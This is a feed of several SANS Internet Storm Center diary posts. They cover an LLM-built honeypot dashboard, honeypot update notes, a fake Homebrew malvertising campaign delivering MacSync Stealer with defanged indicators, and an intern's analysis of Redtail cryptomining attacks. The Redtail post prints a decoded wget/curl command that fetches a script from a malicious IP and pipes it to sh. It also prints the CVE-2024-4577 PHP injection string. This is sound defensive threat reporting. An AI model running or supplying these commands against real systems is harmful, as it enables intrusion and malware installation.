This post was originally published on this site

[This is a Guest Diary by Eric Roldan, an ISC intern as part of the SANS.edu BACS program]

Through the expansion of Large Language Models (LLMs), cybersecurity has exploded with a variety of tools for both offensive and defensive purposes. A majority of software and cyber tools are integrating Artificial Intelligence (AI) solutions into their applications, largely in the form of chatbots, automation tools through Model Context Protocol (MCP), or ingestion to prompt response type interfaces.

An overlooked and underestimated aspect of AI that is slowly arising is the creation of bespoke user interfaces (UI). That is simply put — a UI that is created custom fit to the specific needs and data provided impromptu from the user. With the ability for these models to ingest large amounts of data, it can orchestrate the appropriate elements for a UI that will be tailored to the ingested dataset.

Rather than the user having to adjust their queries or layouts for the logs that they are analyzing, the LLM will determine the proper UI elements to give to the user. This allows the user to focus on analyzing rather than tool setup.

Over days of web traffic on the DShield webhoneypot, there are large variations of intent behind the interactions. Some days, some actors may focus only on scanning and recon. Other days may be heavy on stealing credentials or trying to get a web shell exploit.

As a regular user would try to identify patterns then use their discretion to find the next proper 'grep', 'jq', or other similar pattern recognizing POSIX tools, the LLM does the same.

Before this type of bespoke UIs in cyber analytics, analysts would have to spend extensive time and energy to understand what to look for and how to use the appropriate tools. With LLM's able to do this heavy lifting, more analysts will be able to recognize attacks on their web servers with little to no cyber experience.

When developers have to manage feature implementations, documentation updates, meetings (which are always productive of course…), and dreaded bugs – security and active monitoring become an afterthought. To make the internet a safer place, we have to lower the barrier to entry for recognizing web attacks.

Okay enough selling you on how much potential this has, let's talk about how it actually works.

It works like this: the system reads your DShield web honeypot log file, then a Python analyzer goes through the entries and turns them into a clean summary of what happened instead of dumping raw attacker text into the AI. That summary includes things like top IPs, top URLs, time patterns, and tags for probe/attack types such as WordPress probes, SSRF, path traversal, CGI abuse, and other recognizable patterns. Then Claude looks at the cleaned summary and writes a React dashboard component that fits the shape of the attack activity for that day, so the UI can change depending on whether the logs are mostly one big campaign or a mix of background internet noise.

The safe part is that the LLM never gets the raw malicious strings directly, and the generated UI never gets to run loose in the main page. Instead, the app serves the generated dashboard through a backend API, caches it so it does not constantly change, and renders it inside a sandboxed iframe. If the generated code is broken, the system validates it and falls back to a static dashboard. So the whole flow is basically: logs came in -> analyzer summarizes them -> Claude generates a matching UI -> frontend loads it safely and pulls chart data from the backend.

Let's take a look at some examples now! On days where there is more noise we do not see any dominant patterns highlighted on the UI

However, on days where there is a clear pattern from certain actors we see an immediate highlight…

Furthermore, it is able to recognize and highlight attack signatures that were most obvious (or would be obvious to an experienced analyst) at the very top of the UI’s dashboard

There are sometimes some interesting quirks like the LLM creating a dashboard with light mode instead of dark mode.

Nonetheless it is interesting to see how the LLM adapts to each day’s attack logs. I imagine if I could “vibe code” this idea in a few hours, it could become a full-blown platform and toolkit for major organizations and analysts. So yea…I didn’t write the code for all this madness, I simply took a problem that I constantly face when looking at attack logs – what is it that I’m actually looking for? And created a unique bespoke UI for each day’s scenario.

Shout out to Claude Code for agentically writing the repo which can be found here.

Shout out to ChatGPT for helping me write the ‘how it works’ section of this blog.

And a special shout out to my Internship mentor Guy Bruneau for helping me think bigger in terms of recognizing interesting attacks on my webhoneypot.

Be sure to subscribe to my youtube channel for more edgy tech content and cyber insights.
youtube.com/@gnarcoding

[1] https://github.com/gnarcoding/bespoke-ui-cyber-analytics/
[2] https://isc.sans.edu/tools/honeypot/
[3] https://www.sans.edu/cyber-security-programs/bachelors-degree/

———–
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

I just got an email from SSL.com last night, they are rotating  out their root certificate today (May 5,2026).  This is normal, business as usual stuff for a CA, but certificates get used for all kinds of things, and sometimes they aren't used like they should be, so sometimes hiccups happen.

This post was originally published on this site

This week, I will release a few updates to our DShield honeypot. The update should happen automatically if you have "automatic updates" enabled on your system. There will be two major changes:

Compatibility with Ubuntu 26.04 / new versions of Raspberry Pi OS

Ubuntu released version 26.04 LTS about a week ago. It will pretty much work already, but I made some adjustments if you are using the "minimum server install". 24.04 will continue to be supported. There have been some issues with 26.04, particularly with some tools that were converted to Rust. You will be ok staying with 24.04 LTS for now. Earlier versions of Ubuntu (22.04, 20.04) will no longer be supported.

Whenever you upgrade your operating system to a new major version, I recommend you reinstall the honeypot from scratch. You may want to retain the "dshield.ini" file to simplify the reinstall. Reinstalling from scratch ensures that all required dependencies are installed.

For older Ubuntu versions, Python dependencies make support rather difficult. For in-place upgrades, I will try to maintain compatibility as much as possible, but new installs should use either 24.04 or 26.04.

The next update will also fix any issues with new versions of Raspberry Pi OS. The goal is to maintain compatibility with the 32- and 64-bit versions of "trixie" and "bookworm".  Testing for Raspberry Pi OS is a bit more complex because it requires physical devices. If anybody has a good way to virtualize Raspberry Pi OS: Please let me know 🙂

Updating Cowrie

The next update will also include an updated version of Cowrie. We have fallen quite a bit behind, and I hope to add some new features. If you currently do not see any Cowrie (ssh/telnet) logs in your account, please update your API key ("Auth Key"). Some older API keys are not compatible with the current version of Cowrie. Newer keys are random hexadecimal strings, while older keys are base64 encoded random strings.

As always, please use our contact form if you are running into any problems.

—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

Introduction

As macbooks and mac minis become more popular, we're seeing more campaigns targeting these macOS hosts. Malicious ads have popped up in search results that can lead potential victims to pages that present themselves as legitimate malware but instead are malware. This diary presents one such example from a malicious ad for a page that impersonates Homebrew we saw on Thursday, 2026-04-30.

Homebrew is a third-party package manager for macOS, and this page pushes MacSync Stealer malware. As I write this today (2026-05-01), the fake Homebrew page at hxxps[:]//sites.google[.]com/view/brewpage is still active.

Images

Shown above: Malicious ad in search results leading to fake Homebrew page.

Shown above: Information about the advertiser for the malicious ad.

Shown above: Fake Homebrew page with script to copy/paste for potential victims to download malware.

Shown above: Script from fake Homebrew page pasted to a terminal window on a macOS host.

Shown above: After running the script, this popup appears, and it collects the victim's password.

Shown above: After running the entering the password, this popup appears for the Terminal app to access the Finder app in macOS.

Shown above: This is the final popup that appears after running the script.

Shown above: During the infection, MacSync Stealer collects information from the host, temporarily saves it to /tmp/osalogging.zip and sends that file to the C2 server.

Shown above: Traffic from the infection filtered in Wireshark.

Shown above: Traffic from the infected host sending the /tmp/osalogging.zip file to the C2 server.

Indicators of Compromise

Example of URL from malicious ad:

hxxps[:]//www.google[.]com/aclk?sa=L&
ai=DChsSEwi24vK_v5aUAxXZS38AHRAFIWAYACICCAIQABoCb2E&
co=1&
gclid=EAIaIQobChMItuLyv7-WlAMV2Ut_AB0QBSFgEAMYASAAEgKrq_D_BwE&
cid=CAASugHkaEZtQvhFJBWvSVo_oMtlq6lKBxptjJBacaXOdzM28vxFNm3V2vrefacF48NMD0YvBIV9PCmn_d6X0uiMYDt5bwJYXaT6Lt7Mf3F-Mc3OK-0ugNt4GfcvQ0lOKkP1Sf8WVDXTMPeVMsHE8qxoG43Ta5BRER_Sre0RfChP39oVqtwRkowlKUUojM12uBAYWvejqokVOa_j7-uGyN1XrQ1ae6Tfaijfc9OvMC9QKQovm7p0DBitWtBJ_d4&
cce=1&
sig=AOD64_2EqeARnVjOoYvCwtJyl1AsolQe7g&q&
adurl&
ved=2ahUKEwjyq-2_v5aUAxU3g2oFHc28JOUQ0Qx6BAhnEAE

Example of fake Homebrew site URL:

hxxps[:]//sites.google[.]com/view/brewpage?gad_source=1&
gad_campaignid=23806351087&
gbraid=0AAAAACJ6-Kb3hWjjAWCyYLIj0YO5oQvtp&
gclid=EAIaIQobChMItuLyv7-WlAMV2Ut_AB0QBSFgEAMYASAAEgKrq_D_BwE

Domain used by C2 server for the MacSync infection:

glowmedaesthetics[.]com

Files from the infection:

SHA256 hash: a4fcfecc5ac8fa57614b23928a0e9b7aa4f4a3b2b3a8c1772487b46277125571

• File size: 225 bytes
• File type: ASCII text, with no line terminators
• File description: Copy/paste script from the fake Homebrew page.

SHA256 hash: 0d58616c750fc8530a7e90eee18398ddedd08cc0f4908c863ab650673b9819dd

• File size: 1,448 bytes
• File type: Paul Falstad's zsh script text executable, ASCII text
• File location: hxxp[:]//glowmedaesthetics[.]com/curl/63810ee8b478575f3b2c6c46160c1fd338b213c6fc11bb0069dac9bbb7db237d
• File description: Initial download from the copy/paste script

SHA256 hash: 86d0c50cab4f394c58976c44d6d7b67a7dfbbb813fbcf622236e183d94fd944f

• File size: 2,647 bytes
• File type: Paul Falstad's zsh script text executable, ASCII text
• File description: Shell script extracted from base64 text in the initial download

—
Bradley Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

[This is a Guest Diary by James Roberts, an ISC intern as part of the SANS.edu BACS program]

Over the last few months, I have gained valuable experience working with the Internet Storm Center (ISC) operating a honeypot and analyzing its output via a SIEM environment.  This work gave me hands on experience with system set on a Raspberry Pi environment, utilizing command line interfaces, SIEM deployment, networking, and information analysis.  This experience was also a good demonstration of difficulty of finding useful information in a sea of logged data and how to find interesting items within it.  Some of the most interesting items were indicators relating to cryptomining malware.

DShield Honeypot

The DShield sensor is a honeypot system that information from HTTP, telnet, SSH, and firewall logs.  When deployed, it uses a Cowrie honeypot to simulate a Debian system to capture SSH and Telnet interactions, web.py and tcp-honeypot.py to simulate various services and obtain HTTP and TCP interactions, and finally scripts to collect, process and submit these and firewall logs.  These logs are sent to ISC, as well as an ELK SIEM that is set up on another system of mine.  With the SIEM, I was better able to parse, research, and understand the information produced by the various DShield logs.  Sometimes I would see something more interesting than just a standard SSH login attempt

Identifying Something Interesting

Around the halfway point in my internship, I did an attack observation about a type of cryptomining malware known as redtail.  After completing that observation, I noticed that there was another, different, variety of redtail based attacks I had previously not noticed, this time operating via HTTP instead of SSH/telnet.

As the most commonly occurring User Agent, and one of the most common items of HTTP information over the entire course of my DShield sensor’s deployment, I felt compelled to investigate further.

Overview of the Culprits

While I had 113 different IP addresses perform libertail-http activity on the DShield sensor, I am opting to focus my observation on the top three IP addresses for the sake of simplicity.

All three of these IP addresses attempted to perform the same attack multiple times over the course of several days.  The IP addresses came from different counties, Germany, Great Britain, and India.  All the observed libertail-http Ip addresses had similar general HTTP behavior, though there are some exceptions.  Most of the IP addresses observed additionally attempted to log in to the honeypot via SSH, as well as performing a SYN scan.

IP addresses 82.165.66.87 and 103.40.61.98 are almost identical in their behavior, even both exclusively using the same Username/Password login combination (admin/admin).  It is likely all the attackers are actually bots, but these two are likely using the same script to perform the same probing activity.  Based on other information that will be seen later, they might actually be the same attacker using different IP addresses.  Their behaviors are also more representative of the behavior observed by other attackers.  IP address 2.27.53.96 is much more aggressive in its attempt to log in with SSH and is less aggressive about the number of ports it scans.  Much of its activity is still similar to the other observed IP addresses, but it is unique in some ways.

Patterns of Behavior

Each of the attacks begins with a series of four HTTP POST actions.

From IP 103.10.61.98 on March 27 0623UTC

http.request.body            http.response.body.content                      url.query

The first two POST actions are effectively the same, with the only difference being that the first one uses URL encoding to traverse to /bin/sh while the second one doesn’t.  This directory traversal is attempting to look for CGI misconfigurations and allow the use of /bin/sh for command execution.  Additionally there is an attempt to connect to 31.57.216.121/sh through wget and curl.  On March 3, similar behaviors were logged for 178.16.55.224/sh instead.  IP address 82.165.66.87 also attempts to connect to both of these address as well and IP 2.27.53.96 additionally used 46.151.182.82.  After connecting via SH to an address, apache.selfrep is run.  Based on the name, apache.selfrep is likely a script designed to maintain persistence on a target.  IPs 31.57.216.121, 178.16.55.224, and 46.151.182.82 are known malicious IP addresses associated with cyrptomining malware infrastructure.  The url.query is the request.body information in its more original state, which is in base64.  The base64 encoding was likely done to obfuscate the attack or to more reliably deliver the attack against a wider variety of system or both.

The next two POST actions related directly to CVE-2024-4577, an exploit strongly associated with redtail malware that targets PHP services.  The request body line ”: d+allow_url_include=1+ d+auto_prepend_file=php://input” takes advantage of older PHP versions  flaw of replacing certain characters given into something else using a “Best-Fit” behavior that misinterprets characters as PHP options and allows running arbitrary PHP code.  In this case, that arbitrary code is being used to the inclusion of extra input from the HTTP request body.  That request body input accesses shell.exe and sends a base64 encoded set of commands 
“KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMzEuNTcuMjE2LjEyMS9zaCB8fCBjdXJsIC1zayBodHRwczovLzMxLjU3LjIxNi4xMjEvc2gpIHwgc2ggLXMgY3ZlXzIwMjRfNDU3Ny5zZWxmcmVw”.  This can be decoded into (wget –no-check-certificate -qO- https://31.57.216.121/sh || curl -sk https://31.57.216.121/sh) | sh -s cve_2024_4577.selfrep). This is very similar commands found in the previous POST commands, running cve_2024_4577.selfrep as a different script.  Additionally, echo(md5("Hello CVE-2024-4577") is also run to print a message to indicate the previous commands have run correctly.  Like the other POST actions, the original query was encoded in base64.

Next the attack begins probing various .php installation paths.  The paths are requested, with “<?php echo(md5("Hello PHPUnit"));” created as a response if the requested path is found.  This reconnaissance is likely being done to map out what specific type of PHP is available and by extension what other vulnerabilities could be utilized in the future.

From IP 82.165.66.87 on March 27 12:55 UTC

http.request.body.content                                             http.response.body.content

In addition to the HTTP interactions, the IP addresses also attempt to interact with the honeypot by logging on via SSH and engaging in SYN scans on various ephemeral ports.  If a SSH login is successful, there are no attempts to run other commands.  The logins and port scans typically hours before or after the HTTP actions and are likely the bot engaging in those probing actions independently from anything related in HTTP.  The SYN scans consistently produced failures for the scanned ports.

From IP 2.27.53.96

Timestamp                               Source IP                                        Source port/outcome

Redtail Cryptomining Malware

While the attack engaged in several actions, perhaps the most important was running cve_2024_4577.selfrep.  That script is performs several actions, such as finding out about system architecture, finding directories to write new files, searching cronjobs relating to other cryptominers and stopping their services, and installing an appropriate version of redtail and naming it ‘.redtail’ to make it a hidden file.  The versions of redtail are x86_64, i686, aarch64, and arm7.  While redtail cryptominers have been part of the threat landscape since 2023, libredtail-http and CVE-2024-4577 started appearing later in mid 2024.

How to Protect against Redtail

Protection and remediation, why it matters

There are many things that can be done to protect against this type of attack.  If possible, patching to a more current version on PHP can help.  Writing a rule to block the libredtail-http user-agent on a WAF, reverse proxy, IPS, host firewall, or a tool like Fail2Ban could block the types of attacks seen here.  Rules could probably also be made to block traffic involving IP any variation of ip.ip.ip.ip/sh, something seen and these attacks and rarely ever seen in legitimate traffic.  Given the volume of http traffic created, monitoring the network activity for unusual behavior could help discover a compromise.  Setting up SSH shared keys or authentication against another server could help protect a system against unwanted SSH login attempts.

[1] https://isc.sans.edu/honeypot.html
[2] https://github.com/cowrie/cowrie
[3] https://infosecwriteups.com/honeypots-102-setting-up-a-sans-internet-storm-centers-dshield-honeypot-1ec1774bd949
[4] https://github.com/bruneaug/DShield-SIEM/blob/main/README.md
[5] https://192.168.80.139/app/dashboards#/view/d525c518-3e97-4375-9e38-ded8f18934a4?_g=(filters:!(),time:(from:now-90d%2Fd,to:now))
[6] https://www.joesandbox.com/analysis/1851676/0/html
[7] https://www.joesandbox.com/analysis/1890665/0/html
[8] https://www.joesandbox.com/analysis/1893948/0/html
[9] https://www.socdefenders.ai/threats/b91c3aa2-d17d-4621-8f76-99e3226bdecb
[10] https://nvd.nist.gov/vuln/detail/CVE-2024-4577
[11] https://www.forescout.com/blog/new-redtail-malware-exploited-via-php-security-vulnerability/
[12] https://roccosicilia.com/2025/07/15/cve-2024-4577-payload-analysis/
[13] https://www.sans.edu/cyber-security-programs/bachelors-degree/

———–
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.